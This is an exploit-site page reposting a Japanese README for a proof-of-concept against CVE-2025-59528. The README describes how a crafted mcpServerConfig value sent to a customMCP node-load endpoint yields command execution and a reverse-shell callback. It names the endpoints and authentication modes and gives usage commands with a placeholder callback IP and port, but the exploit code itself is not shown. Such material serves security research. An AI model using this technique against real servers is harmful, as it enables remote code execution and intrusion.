Sploitus

Exploit for CVE-2025-59528-PoC

kitploit · 2026-08-30

Exploit Code

MARKDOWN86 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LOAXERT-CVE-2025-59528-POC
# CVE-2025-59528 教育用 PoC

> **教育目的のみ。** このプロジェクトは、管理されたセキュリティ研究、教室でのデモンストレーション、および隔離されたラボでの許可されたテストを目的としています。自分が所有していない、または明示的なテスト許可を得ていないシステム、ネットワーク、アプリケーション、アカウントに対して使用しないでください。

## このPoCが実証する内容

この概念実証（PoC）は、不適切に処理された `mcpServerConfig` 値が、`customMCP` ノードロード機能を介してサーバーサイドのJavaScript評価やコマンド実行を許す可能性があることを示しています。

このスクリプトは、以下の2つの認証方法をサポートしています。

  * **メールアドレス/パスワード:** アプリケーションのログインエンドポイントで認証し、返されたセッションCookieを再利用します。
  * **ベアラートークン:** `Authorization` ヘッダーでAPIキーを送信します。



認証後、スクリプトは細工された設定を `/api/v1/node-load-method/customMCP` に送信します。ペイロードは Node.js の子プロセス機能を使用してシェルコマンドを実行し、研究者が管理するリスナーへのコールバック接続を確立します。この動作は、許可されたラボ環境での潜在的な影響を示すためだけに含まれています。

## 必要条件

  * Python 3。
  * `requests` パッケージ。



依存関係をインストールするには:

root@kitploit:~
    
    
    python3 -m pip install requests
    

## 使用方法

スクリプトを `CVE-2025-59528.py` として保存してください。

### メールアドレスとパスワードのモード

root@kitploit:~
    
    
    python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
    

ドキュメント専用の値を使用した例:

root@kitploit:~
    
    
    python3 CVE-2025-59528.py some-email@example.com 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
    

### ベアラートークンモード

root@kitploit:~
    
    
    python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
    

ドキュメント専用の値を使用した例:

root@kitploit:~
    
    
    python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
    

スクリプトは、以下のアプリケーションルートが利用可能であることを前提としています:

  * `/api/v1/auth/login`
  * `/api/v1/node-load-method/customMCP`



現在のスクリプトは `http://` URL を構築します。TLS を必要とするラボ環境をテストする場合は、HTTPS 用に実装を更新してください。

## コードの動作仕組み

  1. `main()` はコマンドライン引数の数を検証し、認証モードを選択します。
  2. `login()` は提供された認証情報をログインエンドポイントに送信します。
  3. `tokens()` は `Set-Cookie` レスポンスヘッダーからセッション値を抽出します。
  4. `shell()` は認証済みリクエストを構築し、細工された `mcpServerConfig` 値を送信します。
  5. `bearer()` はセッションCookieの代わりにベアラートークンを使用して同じリクエストを実行します。
  6. レスポンスボディが出力され、研究者がアプリケーションおよびサーバーログと結果を照合できるようにします。